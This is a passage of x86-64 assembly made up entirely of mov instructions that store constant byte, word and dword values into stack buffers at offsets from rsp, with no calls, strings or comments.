mov byte [rsp + 0x4ec], 0x46
mov eax, 0x11a
mov word [rsp + 0x2b90], ax
mov eax, 0x3a7
mov word [rsp + 0x2b94], ax
mov dword [rsp + 0xb10c], 0x3b75
mov dword [rsp + 0xb110], 0xb20
mov dword [rsp + 0xb114], 0x10fb
mov dword [rsp + 0xb118], 0x3e99
mov byte [rsp + 0x4ed], 0x34
mov dword [rsp + 0xb11c], 0x39c6
mov dword [rsp + 0xb120], 0xd62f
mov dword [rsp + 0xb124], 0x41d8
mov dword [rsp + 0xb128], 0x340a
mov dword [rsp + 0xb12c], 0x3132
mov eax, 0x78d
mov word [rsp + 0x2b98], ax
mov eax, 0xd0b
mov word [rsp + 0x2b9c], ax
mov eax, 0x5f9
mov word [rsp + 0x2ba0], ax
mov dword [rsp + 0xb130], 0x4a6e
mov eax, 0x2ed
mov word [rsp + 0x2ba4], ax
mov dword [rsp + 0xb134], 0x3ebd
mov dword [rsp + 0xb138], 0x5437
mov dword [rsp + 0xb13c], 0xdbd
mov dword [rsp + 0xb140], 0x1a53
mov dword [rsp + 0xb144], 0x3839
mov dword [rsp + 0xb148], 0x120d
mov eax, 0x76e
mov word [rsp + 0x2ba8], ax
mov dword [rsp + 0xb14c], 0x42c2
mov dword [rsp + 0xb150], 0xc6b
mov dword [rsp + 0xb154], 0x9b85
mov dword [rsp + 0xb158], 0x5ed2
mov dword [rsp + 0xb15c], 0x13c0
mov dword [rsp + 0xb160], 0x6031
mov dword [rsp + 0xb164], 0x4269
mov eax, 0x5ea
mov word [rsp + 0x2bac], ax
mov byte [rsp + 0x4ee], 0x75
mov dword [rsp + 0xb168], 0x1cba
mov dword [rsp + 0xb16c], 0xbcbf
mov dword [rsp + 0xb170], 0x1959
mov eax, 0x375
mov word [rsp + 0x2bb0], ax
mov byte [rsp + 0x4ef], 0xd4
mov dword [rsp + 0xb174], 0x6bf2
mov dword [rsp + 0xb178], 0x8904
mov eax, 0x8c7
mov word [rsp + 0x2bb4], ax
mov byte [rsp + 0x4f0], 9
mov dword [rsp + 0xb17c], 0x9ca
mov dword [rsp + 0xb180], 0x690e
mov dword [rsp + 0xb184], 0x20f
mov eax, 0xb77
mov word [rsp + 0x2bb8], ax
mov byte [rsp + 0x4f1], 0x7c
mov byte [rsp + 0x4f2], 0x5b
mov byte [rsp + 0x4f3], 0xc8
mov dword [rsp + 0xb188], 0x67e9
mov dword [rsp + 0xb18c], 0x642f
mov dword [rsp + 0xb190], 0xefb6
mov eax, 0x79c
mov word [rsp + 0x2bbc], ax
mov dword [rsp + 0xb194], 0xe398
mov dword [rsp + 0xb198], 0x4e8f
mov byte [rsp + 0x4f4], 0x21
mov dword [rsp + 0xb19c], 0x19c3
mov eax, 0xd8b
mov word [rsp + 0x2bc0], ax
mov eax, 0xe57
mov word [rsp + 0x2bc4], ax
mov eax, 0xd72
mov word [rsp + 0x2bc8], ax
mov byte [rsp + 0x4f5], 0
mov dword [rsp + 0xb1a0], 0x7535
mov dword [rsp + 0xb1a4], 0xac47
mov byte [rsp + 0x4f6], 9
mov byte [rsp + 0x4f7], 0xb7
mov dword [rsp + 0xb1a8], 0xc4ba
mov dword [rsp + 0xb1ac], 0xca96
mov eax, 0xcf1
mov word [rsp + 0x2bcc], ax
mov dword [rsp + 0xb1b0], 0x140e
mov byte [rsp + 0x4f8], 0x21
mov dword [rsp + 0xb1b4], 0x3ff8
mov dword [rsp + 0xb1b8], 0x3dbf
mov dword [rsp + 0xb1bc], 0x9e89
mov eax, 0xa9a
mov word [rsp + 0x2bd0], ax
mov eax, 0xd3d
mov word [rsp + 0x2bd4], ax
mov dword [rsp + 0xb1c0], 0x2f74
mov dword [rsp + 0xb1c4], 0x5ca
mov eax, 0x2e9
mov word [rsp + 0x2bd8], ax
mov dword [rsp + 0xb1c8], 0x4e06
mov byte [rsp + 0x4f9], 0x14
mov dword [rsp + 0xb1cc], 0xc23e
mov dword [rsp + 0xb1d0], 0x90d7
mov byte [rsp + 0x4fa], 0xbb
mov dword [rsp + 0xb1d4], 0x158a
mov byte [rsp + 0x4fb], 0x94
mov dword [rsp + 0xb1d8], 0xfb8d
mov dword [rsp + 0xb1dc], 0x4cc8
mov dword [rsp + 0xb1e0], 0x2d
mov dword [rsp + 0xb1e4], 0x5c74
mov dword [rsp + 0xb1e8], 0x3a60
mov dword [rsp + 0xb1ec], 0x632b
mov eax, 0xe75
mov word [rsp + 0x2bdc], ax
mov byte [rsp + 0x4fc], 3
mov byte [rsp + 0x4fd], 0x40
mov dword [rsp + 0xb1f0], 0x229a
mov dword [rsp + 0xb1f4], 0x50e7
mov dword [rsp + 0xb1f8], 0x3196
mov eax, 0xa62
mov word [rsp + 0x2be0], ax
mov byte [rsp + 0x4fe], 0x1d
mov dword [rsp + 0xb1fc], 0x4f19
mov byte [rsp + 0x4ff], 0x34
mov dword [rsp + 0xb200], 0x35de
mov dword [rsp + 0xb204], 0x71b4
mov dword [rsp + 0xb208], 0x76ee
mov byte [rsp + 0x500], 0x38
mov dword [rsp + 0xb20c], 0x2c51
mov eax, 0xb4f
mov word [rsp + 0x2be4], ax
mov dword [rsp + 0xb210], 0x1722
mov dword [rsp + 0xb214], 0x41cf
mov byte [rsp + 0x501], 0x3d
mov dword [rsp + 0xb218], 0x24db
mov byte [rsp + 0x502], 0x5c
mov dword [rsp + 0xb21c], 0x31e8
mov dword [rsp + 0xb220], 0x62dc
mov dword [rsp + 0xb224], 0x3ef5
mov byte [rsp + 0x503], 0x92
mov eax, 0x542
mov word [rsp + 0x2be8], ax
mov eax, 0x4d6
mov word [rsp + 0x2bec], ax
mov eax, 0x485
mov word [rsp + 0x2bf0], ax
mov dword [rsp + 0xb228], 0x6384
mov dword [rsp + 0xb22c], 0x380
mov eax, 0xb42
mov word [rsp + 0x2bf4], ax
mov eax, 0x511
mov word [rsp + 0x2bf8], ax
mov dword [rsp + 0xb230], 0x12ae
mov byte [rsp + 0x504], 0x15
mov dword [rsp + 0xb234], 0x8a6b
mov dword [rsp + 0xb238], 0x63b8
mov dword [rsp + 0xb23c], 0xb2b
mov dword [rsp + 0xb240], 0x16bd
mov dword [rsp + 0xb244], 0xad23
mov byte [rsp + 0x505], 0x8c
mov eax, 0xd67
mov word [rsp + 0x2bfc], ax
mov eax, 0xa2e
mov word [rsp + 0x2c00], ax
mov byte [rsp + 0x506], 0x6b
mov dword [rsp + 0xb248], 0x4bf8
mov dword [rsp + 0xb24c], 0x4a21
mov dword [rsp + 0xb250], 0x51cd
mov byte [rsp + 0x507], 0x5e
mov dword [rsp + 0xb254], 0x7b1c
mov byte [rsp + 0x508], 0x22
mov eax, 0xcde
mov word [rsp + 0x2c04], ax
mov dword [rsp + 0xb258], 0x40b9
mov eax, 0x78a
mov word [rsp + 0x2c08], ax
mov dword [rsp + 0xb25c], 0x12b3
mov byte [rsp + 0x509], 0x9f
mov eax, 0xee
mov word [rsp + 0x2c0c], ax
mov dword [rsp + 0xb260], 0x4f10
mov dword [rsp + 0xb264], 0x3cae
mov byte [rsp + 0x50a], 0x47
mov dword [rsp + 0xb268], 0x530f
mov dword [rsp + 0xb26c], 0x598c
mov dword [rsp + 0xb270], 0x5c24
mov eax, 0x54f
mov word [rsp + 0x2c10], ax
mov byte [rsp + 0x50b], 0x34
mov dword [rsp + 0xb274], 0x7cfb
mov byte [rsp + 0x50c], 0xbf
mov eax, 0x5e7
mov word [rsp + 0x2c14], ax
mov dword [rsp + 0xb278], 0x74d7
mov dword [rsp + 0xb27c], 0x8f7e
mov eax, 0xbcd
mov word [rsp + 0x2c18], ax
mov byte [rsp + 0x50d], 0x1b
mov dword [rsp + 0xb280], 0x7bab
mov dword [rsp + 0xb284], 0x578f
mov eax, 0x1c0
mov word [rsp + 0x2c1c], ax
mov dword [rsp + 0xb288], 0x23c9
mov byte [rsp + 0x50e], 0x41
mov byte [rsp + 0x50f], 0x33
mov eax, 0xa8b
mov word [rsp + 0x2c20], ax
mov byte [rsp + 0x510], 8
mov eax, 0x3a
mov word [rsp + 0x2c24], ax
mov eax, 0x4aa
mov word [rsp + 0x2c28], ax
mov dword [rsp + 0xb28c], 0x7d0e
mov dword [rsp + 0xb290], 0x164c
mov dword [rsp + 0xb294], 0x118e
mov eax, 0xeca
mov word [rsp + 0x2c2c], ax
mov dword [rsp + 0xb298], 0x54a3
mov eax, 0x70
mov word [rsp + 0x2c30], ax
mov eax, 0x934
mov word [rsp + 0x2c34], ax
mov eax, 0x37f
mov word [rsp + 0x2c38], ax
mov dword [rsp + 0xb29c], 0xc897
mov dword [rsp + 0xb2a0], 0x537d
mov dword [rsp + 0xb2a4], 0x3019
mov dword [rsp + 0xb2a8], 0x761c
mov dword [rsp + 0xb2ac], 0x356c
mov dword [rsp + 0xb2b0], 0x79bf
mov dword [rsp + 0xb2b4], 0x6901
mov eax, 0x30
mov word [rsp + 0x2c3c], ax
mov dword [rsp + 0xb2b8], 0x389f
mov dword [rsp + 0xb2bc], 0xe7d0
mov dword [rsp + 0xb2c0], 0x7862
mov eax, 0x7b2
mov word [rsp + 0x2c40], ax
mov dword [rsp + 0xb2c4], 0x4062
mov dword [rsp + 0xb2c8], 0x5c0a
mov dword [rsp + 0xb2cc], 0x60b6
mov dword [rsp + 0xb2d0], 0x4903
mov dword [rsp + 0xb2d4], 0x342
mov eax, 0xcce
mov word [rsp + 0x2c44], ax
mov eax, 0xe2a
mov word [rsp + 0x2c48], ax
mov dword [rsp + 0xb2d8], 0x62d5
mov eax, 0x528
mov word [rsp + 0x2c4c], ax
mov eax, 0xc1e
mov word [rsp + 0x2c50], ax
mov dword [rsp + 0xb2dc], 0x1aeb
mov dword [rsp + 0xb2e0], 0xf2a7
mov byte [rsp + 0x511], 0xf5
mov dword [rsp + 0xb2e4], 0xeb4d
mov dword [rsp + 0xb2e8], 0x67c3
mov dword [rsp + 0xb2ec], 0x7f66
mov byte [rsp + 0x512], 0x61
mov dword [rsp + 0xb2f0], 0x2e69
mov byte [rsp + 0x513], 0x39
mov byte [rsp + 0x514], 0x3b
mov dword [rsp + 0xb2f4], 0x594a
mov byte [rsp + 0x515], 0x53
mov dword [rsp + 0xb2f8], 0x1bef
mov dword [rsp + 0xb2fc], 0x7223
mov eax, 0xa95
mov word [rsp + 0x2c54], ax
mov dword [rsp + 0xb300], 0x3653
mov dword [rsp + 0xb304], 0x7b7e
mov dword [rsp + 0xb308], 0x7d4a
mov byte [rsp + 0x516], 0xac
mov dword [rsp + 0xb30c], 0x4599
mov dword [rsp + 0xb310], 0xfac
mov dword [rsp + 0xb314], 0xf7ad
mov eax, 0x2d0
mov word [rsp + 0x2c58], ax
mov dword [rsp + 0xb318], 0xe605
mov eax, 0x76
mov word [rsp + 0x2c5c], ax
mov dword [rsp + 0xb31c], 0x9fb4
mov dword [rsp + 0xb320], 0x6b10
mov byte [rsp + 0x517], 0xa0
mov dword [rsp + 0xb324], 0x1739
mov eax, 0x48f
mov word [rsp + 0x2c60], ax
mov byte [rsp + 0x518], 0xe0
mov byte [rsp + 0x519], 0x66
mov dword [rsp + 0xb328], 0x5b6e
mov dword [rsp + 0xb32c], 0x77c3
mov byte [rsp + 0x51a], 0x95
mov dword [rsp + 0xb330], 0x5f79
mov eax, 0x2b5
mov word [rsp + 0x2c64], ax
mov eax, 0x26b
mov word [rsp + 0x2c68], ax
mov byte [rsp + 0x51b], 0x72
mov dword [rsp + 0xb334], 0x806
mov dword [rsp + 0xb338], 0x1945
mov dword [rsp + 0xb33c], 0x42dc
mov byte [rsp + 0x51c], 0x95
mov byte [rsp + 0x51d], 0xa5
mov dword [rsp + 0xb340], 0x3d48
mov dword [rsp + 0xb344], 0x8031
mov dword [rsp + 0xb348], 0x1f2a
mov dword [rsp + 0xb34c], 0x1dda
mov dword [rsp + 0xb350], 0x6a36
mov dword [rsp + 0xb354], 0x4447
mov eax, 0xe9d
mov word [rsp + 0x2c6c], ax
mov dword [rsp + 0xb358], 0x3dc
mov dword [rsp + 0xb35c], 0x5d6e
mov dword [rsp + 0xb360], 0x57c2
mov dword [rsp + 0xb364], 0xac81
mov eax, 0xe20
mov word [rsp + 0x2c70], ax
mov byte [rsp + 0x51e], 0x5c
mov dword [rsp + 0xb368], 0x68f1
mov eax, 0x1eb
mov word [rsp + 0x2c74], ax
mov dword [rsp + 0xb36c], 0xd45b
mov dword [rsp + 0xb370], 0xb01
mov dword [rsp + 0xb374], 0x66e8
mov dword [rsp + 0xb378], 0xb6f2
mov byte [rsp + 0x51f], 0x92
mov byte [rsp + 0x520], 0x38
mov eax, 0xcf2
mov word [rsp + 0x2c78], ax
mov dword [rsp + 0xb37c], 0x7217
mov byte [rsp + 0x521], 0x34
mov dword [rsp + 0xb380], 0x99ee
mov byte [rsp + 0x522], 0xe9
mov byte [rsp + 0x523], 3
mov dword [rsp + 0xb384], 0x3323
mov eax, 0x6b0
mov word [rsp + 0x2c7c], ax
mov dword [rsp + 0xb388], 0x425e
mov byte [rsp + 0x524], 0xbd
mov eax, 0xf1
mov word [rsp + 0x2c80], ax
mov byte [rsp + 0x525], 0x3b
mov dword [rsp + 0xb38c], 0x328e
mov eax, 0x35a
mov word [rsp + 0x2c84], ax
mov dword [rsp + 0xb390], 0x5ef3
mov dword [rsp + 0xb394], 0x7358
mov byte [rsp + 0x526], 0x5a
mov dword [rsp + 0xb398], 0x5e74
mov eax, 0x401
mov word [rsp + 0x2c88], ax
mov dword [rsp + 0xb39c], 0xbc99
mov byte [rsp + 0x527], 0xdb
mov dword [rsp + 0xb3a0], 0x349c
mov eax, 0x3b4
mov word [rsp + 0x2c8c], ax
mov dword [rsp + 0xb3a4], 0x2fc7
mov dword [rsp + 0xb3a8], 0x35f4
mov dword [rsp + 0xb3ac], 0x1c20
mov dword [rsp + 0xb3b0], 0xafc8
mov dword [rsp + 0xb3b4], 0x158d
mov dword [rsp + 0xb3b8], 0xa8ab
mov dword [rsp + 0xb3bc], 0x5e49
mov eax, 0x7a1
mov word [rsp + 0x2c90], ax
mov dword [rsp + 0xb3c0], 0x3805
mov dword [rsp + 0xb3c4], 0x145e
mov dword [rsp + 0xb3c8], 0x6cfd
mov dword [rsp + 0xb3cc], 0xf2a4
mov dword [rsp + 0xb3d0], 0x7b1a
mov dword [rsp + 0xb3d4], 0x60bb
mov eax, 0x534
mov word [rsp + 0x2c94], ax
mov dword [rsp + 0xb3d8], 0x7106
mov eax, 0x871
mov word [rsp + 0x2c98], ax
mov dword [rsp + 0xb3dc], 0xa2bf
mov byte [rsp + 0x528], 0x2c
mov eax, 0x9f5
mov word [rsp + 0x2c9c], ax
mov byte [rsp + 0x529], 0x45
mov byte [rsp + 0x52a], 0x1d
mov byte [rsp + 0x52b], 0x73
mov dword [rsp + 0xb3e0], 0x79ad
mov byte [rsp + 0x52c], 0x61
mov dword [rsp + 0xb3e4], 0x6fbc
mov dword [rsp + 0xb3e8], 0xf6f0
mov dword [rsp + 0xb3ec], 0x3b6f
mov eax, 0x2df
mov word [rsp + 0x2ca0], ax
mov dword [rsp + 0xb3f0], 0x4c33
mov byte [rsp + 0x52d], 0x2c
mov dword [rsp + 0xb3f4], 0x7db5
mov dword [rsp + 0xb3f8], 0x233
mov dword [rsp + 0xb3fc], 0x3baf
mov byte [rsp + 0x52e], 0xf3
mov eax, 0x3fd
mov word [rsp + 0x2ca4], ax
mov dword [rsp + 0xb400], 0xce30
mov dword [rsp + 0xb404], 0xdaf9
mov dword [rsp + 0xb408], 0xee5
mov eax, 0x181
mov word [rsp + 0x2ca8], ax
mov dword [rsp + 0xb40c], 0x4b4
mov dword [rsp + 0xb410], 0x9641
mov dword [rsp + 0xb414], 0x7590
mov byte [rsp + 0x52f], 0xe
mov byte [rsp + 0x530], 0x23
mov dword [rsp + 0xb418], 0x6d35
mov dword [rsp + 0xb41c], 0x52d8
mov dword [rsp + 0xb420], 0x967c
mov byte [rsp + 0x531], 0x25
mov dword [rsp + 0xb424], 0x6803
mov byte [rsp + 0x532], 0x7e
mov byte [rsp + 0x533], 0x6d
mov dword [rsp + 0xb428], 0x30a9
mov dword [rsp + 0xb42c], 0x148e
mov dword [rsp + 0xb430], 0x55b7
mov dword [rsp + 0xb434], 0x45e6
mov dword [rsp + 0xb438], 0x63b0
mov byte [rsp + 0x534], 0x1c
mov byte [rsp + 0x535], 0xeb
mov dword [rsp + 0xb43c], 0xd991
mov byte [rsp + 0x536], 0x84
mov dword [rsp + 0xb440], 0xe2a5
mov dword [rsp + 0xb444], 0xac76
mov byte [rsp + 0x537], 0xc3
mov eax, 0xa0
mov word [rsp + 0x2cac], ax
mov byte [rsp + 0x538], 0x11
mov dword [rsp + 0xb448], 0x5aa5
mov dword [rsp + 0xb44c], 0x3564
mov byte [rsp + 0x539], 0x38
mov dword [rsp + 0xb450], 0x480b
mov byte [rsp + 0x53a], 0xe
mov eax, 0x53
mov word [rsp + 0x2cb0], ax
mov dword [rsp + 0xb454], 0x24eb
mov byte [rsp + 0x53b], 0x85
mov byte [rsp + 0x53c], 0xa8
mov byte [rsp + 0x53d], 2
mov byte [rsp + 0x53e], 0x42
mov byte [rsp + 0x53f], 0
mov dword [rsp + 0xb458], 0x80ae
mov eax, 0x92c
mov word [rsp + 0x2cb4], ax
mov dword [rsp + 0xb45c], 0x3449
mov dword [rsp + 0xb460], 0xf6d6
mov dword [rsp + 0xb464], 0x1d65
mov dword [rsp + 0xb468], 0xbcdb
mov dword [rsp + 0xb46c], 0x4a05
mov dword [rsp + 0xb470], 0xc542
mov byte [rsp + 0x540], 0xd9
mov eax, 0x480
mov word [rsp + 0x2cb8], ax
mov eax, 0x4f0
mov word [rsp + 0x2cbc], ax
mov dword [rsp + 0xb474], 0x4d41
mov eax, 0x30a
mov word [rsp + 0x2cc0], ax
mov dword [rsp + 0xb478], 0x5015
mov dword [rsp + 0xb47c], 0x5136
mov eax, 0x24
mov word [rsp + 0x2cc4], ax
mov byte [rsp + 0x541], 2
mov eax, 0x2a7
mov word [rsp + 0x2cc8], ax
mov dword [rsp + 0xb480], 0x1308
mov dword [rsp + 0xb484], 0x59db
mov byte [rsp + 0x542], 0x38
mov eax, 0x83b
mov word [rsp + 0x2ccc], ax
mov dword [rsp + 0xb488], 0x4517
mov byte [rsp + 0x543], 0xac
mov dword [rsp + 0xb48c], 0x787d
mov dword [rsp + 0xb490], 0xf547
mov dword [rsp + 0xb494], 0x6f0d
mov dword [rsp + 0xb498], 0x1bb7
mov byte [rsp + 0x544], 0x2a
mov dword [rsp + 0xb49c], 0xd74
mov byte [rsp + 0x545], 0x68
mov byte [rsp + 0x546], 0xb2
mov dword [rsp + 0xb4a0], 0xd74a
mov eax, 0xb23
mov word [rsp + 0x2cd0], ax
mov byte [rsp + 0x547], 0x7f
mov dword [rsp + 0xb4a4], 0x42c4
mov dword [rsp + 0xb4a8], 0x12f1
mov dword [rsp + 0xb4ac], 0x4e47
mov byte [rsp + 0x548], 0xf1
mov dword [rsp + 0xb4b0], 0x4ebc
mov dword [rsp + 0xb4b4], 0x6ce7
mov eax, 0x5b7
mov word [rsp + 0x2cd4], ax
mov dword [rsp + 0xb4b8], 0x613d
mov byte [rsp + 0x549], 0xe1
mov dword [rsp + 0xb4bc], 0x10c9
mov dword [rsp + 0xb4c0], 0x1aa4
mov dword [rsp + 0xb4c4], 0xfb59
mov dword [rsp + 0xb4c8], 0x1102
mov dword [rsp + 0xb4cc], 0x3304
mov byte [rsp + 0x54a], 0x2c
mov dword [rsp + 0xb4d0], 0x57fb
mov dword [rsp + 0xb4d4], 0x39cb
mov dword [rsp + 0xb4d8], 0x6afc
mov dword [rsp + 0xb4dc], 0x430
mov byte [rsp + 0x54b], 0x92
mov dword [rsp + 0xb4e0], 0x4d40
mov eax, 0x8d5
mov word [rsp + 0x2cd8], ax
mov dword [rsp + 0xb4e4], 0x9c0
mov dword [rsp + 0xb4e8], 0x1181
mov dword [rsp + 0xb4ec], 0x4e5d
mov dword [rsp + 0xb4f0], 0x55f0
mov byte [rsp + 0x54c], 0x80
mov dword [rsp + 0xb4f4], 0x556b
mov dword [rsp + 0xb4f8], 0x4ed0
mov eax, 0x41a
mov word [rsp + 0x2cdc], ax
mov dword [rsp + 0xb4fc], 0x2294
mov dword [rsp + 0xb500], 0x4f
mov eax, 0x195
mov word [rsp + 0x2ce0], ax
mov dword [rsp + 0xb504], 0xfcc4
mov dword [rsp + 0xb508], 0xe7d4
mov dword [rsp + 0xb50c], 0x23f1
mov byte [rsp + 0x54d], 0x3c
mov dword [rsp + 0xb510], 0xee96
mov eax, 0x529
mov word [rsp + 0x2ce4], ax
mov dword [rsp + 0xb514], 0x7b25
mov eax, 0xf3d
mov word [rsp + 0x2ce8], ax
mov dword [rsp + 0xb518], 0x39e8
mov dword [rsp + 0xb51c], 0xba62
mov dword [rsp + 0xb520], 0x99a6
mov dword [rsp + 0xb524], 0x4f4b
mov dword [rsp + 0xb528], 0x881
mov byte [rsp + 0x54e], 0x1b
mov byte [rsp + 0x54f], 0xa
mov eax, 0x6ec
mov word [rsp + 0x2cec], ax
mov byte [rsp + 0x550], 0xbf
mov byte [rsp + 0x551], 0xe4
mov byte [rsp + 0x552], 0xe6
mov eax, 0x247
mov word [rsp + 0x2cf0], ax
mov dword [rsp + 0xb52c], 0xd5fa
mov dword [rsp + 0xb530], 0x7370
mov dword [rsp + 0xb534], 0xaa44
mov byte [rsp + 0x553], 0x4a
mov byte [rsp + 0x554], 0x72
mov dword [rsp + 0xb538], 0xc6e7
mov byte [rsp + 0x555], 0x41
mov dword [rsp + 0xb53c], 0x1548
mov dword [rsp + 0xb540], 0x8fd
mov dword [rsp + 0xb544], 0x733b
mov dword [rsp + 0xb548], 0x2f99
mov byte [rsp + 0x556], 0x1b
mov dword [rsp + 0xb54c], 0x2f18
mov eax, 0xfc0
mov word [rsp + 0x2cf4], ax
mov dword [rsp + 0xb550], 0x7f7
mov dword [rsp + 0xb554], 0xa140
mov dword [rsp + 0xb558], 0xa0a9
mov dword [rsp + 0xb55c], 0x633c
mov dword [rsp + 0xb560], 0x151e
mov byte [rsp + 0x557], 0x27
mov dword [rsp + 0xb564], 0x53e2
mov dword [rsp + 0xb568], 0x737c
mov eax, 0xc1c
mov word [rsp + 0x2cf8], ax
mov dword [rsp + 0xb56c], 0xa15c
mov byte [rsp + 0x558], 0x44
mov dword [rsp + 0xb570], 0x153e
mov dword [rsp + 0xb574], 0x240f
mov eax, 0x205
mov word [rsp + 0x2cfc], ax
mov byte [rsp + 0x559], 0x34
mov dword [rsp + 0xb578], 0x2368
mov eax, 0x9db
mov word [rsp + 0x2d00], ax
mov dword [rsp + 0xb57c], 0x4fbc
mov byte [rsp + 0x55a], 0xc6
mov dword [rsp + 0xb580], 0xca5d
mov eax, 0xa73
mov word [rsp + 0x2d04], ax
mov eax, 0xfa
mov word [rsp + 0x2d08], ax
mov dword [rsp + 0xb584], 0x759c
mov dword [rsp + 0xb588], 0x7601
mov dword [rsp + 0xb58c], 0x4e9f
mov dword [rsp + 0xb590], 0x301b
mov dword [rsp + 0xb594], 0xad31
mov eax, 0x2e7
mov word [rsp + 0x2d0c], ax
mov eax, 0xc0
mov word [rsp + 0x2d10], ax
mov dword [rsp + 0xb598], 0x58b3
mov eax, 0x54f
mov word [rsp + 0x2d14], ax
mov dword [rsp + 0xb59c], 0x159e
mov eax, 0xf92
mov word [rsp + 0x2d18], ax
mov byte [rsp + 0x55b], 0x40
mov eax, 0x33b
mov word [rsp + 0x2d1c], ax
mov eax, 0x7d0
mov word [rsp + 0x2d20], ax
mov dword [rsp + 0xb5a0], 0x4348
mov byte [rsp + 0x55c], 0x65
mov byte [rsp + 0x55d], 0x5f
mov eax, 0x28f
mov word [rsp + 0x2d24], ax
mov dword [rsp + 0xb5a4], 0x1fd1
mov dword [rsp + 0xb5a8], 0x9fc2
mov dword [rsp + 0xb5ac], 0x5be9
mov dword [rsp + 0xb5b0], 0x679d
mov eax, 0x9e9
mov word [rsp + 0x2d28], ax
mov byte [rsp + 0x55e], 0x10
mov byte [rsp + 0x55f], 0x72
mov dword [rsp + 0xb5b4], 0x2155
mov byte [rsp + 0x560], 0x5a
mov dword [rsp + 0xb5b8], 0xbe2
mov dword [rsp + 0xb5bc], 0x1eca
mov eax, 0x986
mov word [rsp + 0x2d2c], ax
mov dword [rsp + 0xb5c0], 0x430e
mov byte [rsp + 0x561], 0x33
mov dword [rsp + 0xb5c4], 0x5c1
mov byte [rsp + 0x562], 0x4c
mov byte [rsp + 0x563], 0x67
mov dword [rsp + 0xb5c8], 0x470f
mov eax, 0x414
mov word [rsp + 0x2d30], ax
mov eax, 0x4ca
mov word [rsp + 0x2d34], ax
mov byte [rsp + 0x564], 0x6a
mov eax, 0x4b1
mov word [rsp + 0x2d38], ax
mov dword [rsp + 0xb5cc], 0x1b19
mov dword [rsp + 0xb5d0], 0x4621
mov dword [rsp + 0xb5d4], 0xdd3
mov eax, 0xd9
mov word [rsp + 0x2d3c], ax
mov eax, 0x186
mov word [rsp + 0x2d40], ax
mov eax, 0x1e4
mov word [rsp + 0x2d44], ax
mov byte [rsp + 0x565], 0x1d
mov byte [rsp + 0x566], 0xc2
mov byte [rsp + 0x567], 0x36
mov dword [rsp + 0xb5d8], 0x5b3
mov byte [rsp + 0x568], 2
mov dword [rsp + 0xb5dc], 0x5ba6
mov eax, 0x8c9
mov word [rsp + 0x2d48], ax
mov dword [rsp + 0xb5e0], 0xd87
mov dword [rsp + 0xb5e4], 0x6f29
mov dword [rsp + 0xb5e8], 0x22c2
mov eax, 0xcd
mov word [rsp + 0x2d4c], ax
mov eax, 0x8ba
mov word [rsp + 0x2d50], ax
mov eax, 0x38e
mov word [rsp + 0x2d54], ax
mov eax, 0x6b1
mov word [rsp + 0x2d58], ax
mov dword [rsp + 0xb5ec], 0x3157
mov eax, 0xea
mov word [rsp + 0x2d5c], ax
mov eax, 0x1b7
mov word [rsp + 0x2d60], ax
mov eax, 0x5af
mov word [rsp + 0x2d64], ax
mov byte [rsp + 0x569], 0xcb
mov dword [rsp + 0xb5f0], 0xc5a
mov dword [rsp + 0xb5f4], 0x5bac
mov dword [rsp + 0xb5f8], 0x7db6
mov dword [rsp + 0xb5fc], 0x77b3
mov dword [rsp + 0xb600], 0x19b7
mov eax, 0x3aa
mov word [rsp + 0x2d68], ax
mov eax, 0x999
mov word [rsp + 0x2d6c], ax
mov dword [rsp + 0xb604], 0x5aa
mov dword [rsp + 0xb608], 0x2e0a
mov byte [rsp + 0x56a], 0x9b
mov dword [rsp + 0xb60c], 0x1cf3
mov eax, 0xe65
mov word [rsp + 0x2d70], ax
mov dword [rsp + 0xb610], 0x5072
mov dword [rsp + 0xb614], 0x57cc
mov dword [rsp + 0xb618], 0x3b32
mov dword [rsp + 0xb61c], 0x58e0
mov eax, 0x14f
mov word [rsp + 0x2d74], ax
mov byte [rsp + 0x56b], 0x19
mov dword [rsp + 0xb620], 0x4f44
mov dword [rsp + 0xb624], 0x1fcd
mov dword [rsp + 0xb628], 0x5b39
mov byte [rsp + 0x56c], 0x12
mov eax, 0x87e
mov word [rsp + 0x2d78], ax
mov byte [rsp + 0x56d], 0x2a
mov byte [rsp + 0x56e], 0xd1
mov eax, 0xd08
mov word [rsp + 0x2d7c], ax
mov eax, 0x4b4
mov word [rsp + 0x2d80], ax
mov dword [rsp + 0xb62c], 0x5ab2
mov eax, 0x318
mov word [rsp + 0x2d84], ax
mov dword [rsp + 0xb630], 0x5609
mov dword [rsp + 0xb634], 0x6b5
mov dword [rsp + 0xb638], 0x1e08
mov dword [rsp + 0xb63c], 0xb951
mov dword [rsp + 0xb640], 0x3a00
mov dword [rsp + 0xb644], 0x7b6f
mov eax, 0xed3
mov word [rsp + 0x2d88], ax
mov eax, 0x5ef
mov word [rsp + 0x2d8c], ax
mov dword [rsp + 0xb648], 0x2a80
mov eax, 0xc7
mov word [rsp + 0x2d90], ax
mov dword [rsp + 0xb64c], 0x3f33
mov byte [rsp + 0x56f], 0xc1
mov dword [rsp + 0xb650], 0x55b8
mov dword [rsp + 0xb654], 0x145f
mov byte [rsp + 0x570], 0x5d
mov dword [rsp + 0xb658], 0x225f
mov dword [rsp + 0xb65c], 0x904d
mov dword [rsp + 0xb660], 0xb924
mov dword [rsp + 0xb664], 0x5c08
mov byte [rsp + 0x571], 0x58
mov dword [rsp + 0xb668], 0x2739
mov dword [rsp + 0xb66c], 0x65a8
mov eax, 0xc6e
mov word [rsp + 0x2d94], ax
mov eax, 0xdf
mov word [rsp + 0x2d98], ax
mov byte [rsp + 0x572], 0xfd
mov dword [rsp + 0xb670], 0x860b
mov eax, 0x7d0
mov word [rsp + 0x2d9c], ax
mov dword [rsp + 0xb674], 0x2dbe
mov dword [rsp + 0xb678], 0x7fb7
mov byte [rsp + 0x573], 1
mov byte [rsp + 0x574], 0x97
mov byte [rsp + 0x575], 0x74
mov dword [rsp + 0xb67c], 0x573a
mov eax, 0x32c
mov word [rsp + 0x2da0], ax
mov eax, 0x85f
mov word [rsp + 0x2da4], ax
mov dword [rsp + 0xb680], 0x3aae
mov byte [rsp + 0x576], 9
mov dword [rsp + 0xb684], 0x6d8e
mov dword [rsp + 0xb688], 0x6401
mov dword [rsp + 0xb68c], 0x97f5
mov dword [rsp + 0xb690], 0x7ac2
mov eax, 0x9f4
mov word [rsp + 0x2da8], ax
mov dword [rsp + 0xb694], 0x2ed9
mov dword [rsp + 0xb698], 0x462e
mov byte [rsp + 0x577], 0xf3
mov byte [rsp + 0x578], 0x71
mov byte [rsp + 0x579], 0x45
mov dword [rsp + 0xb69c], 0x7a79
mov eax, 0x204
mov word [rsp + 0x2dac], ax
mov dword [rsp + 0xb6a0], 0x78a6
mov dword [rsp + 0xb6a4], 0xd1fe
